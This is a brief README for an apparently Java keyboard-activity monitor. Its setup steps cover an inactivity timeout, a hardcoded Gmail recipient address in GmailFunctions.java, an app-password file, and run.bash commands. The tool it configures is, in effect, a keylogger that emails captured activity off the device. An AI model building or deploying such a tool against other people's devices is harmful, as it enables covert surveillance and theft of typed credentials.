This is an app that provides information about the activities of a device (specifically the keyboard).
Pre-requisite:
- Create an App Gmail password
Note
Set up the INACTIVITY_TIMEOUT value to your preference: /src/main/java/my/model/Person.java
/*...*/
// Variable to store the time in milliseconds.
protected long INACTIVITY_TIMEOUT = 1 * 3600 * 1000; // One hour
/*...*/
Important
Set up the input email (app gmail): /src/main/java/my/controller/GmailFunctions.java
/*...*/
public class GmailFunctions extends TXT {
Gmail gmail;
public GmailFunctions () {
gmail = new Gmail();
}
private void bodyEmail () throws AddressException, MessagingException {
gmail.setEmailTo("mindlunnyfalse@gmail.com"); // Set up => mindlunnyfalse@gmail.com
/*...*/
Important
Remember to add a file that contains your App Gmail password in this route: /src/main/java/my/key
package my.key;
public class Param {
protected String passwordGMAILApp = "[Your App Gmail password]";
}
chmod +x run.bash
source ./run.bash
./run.bash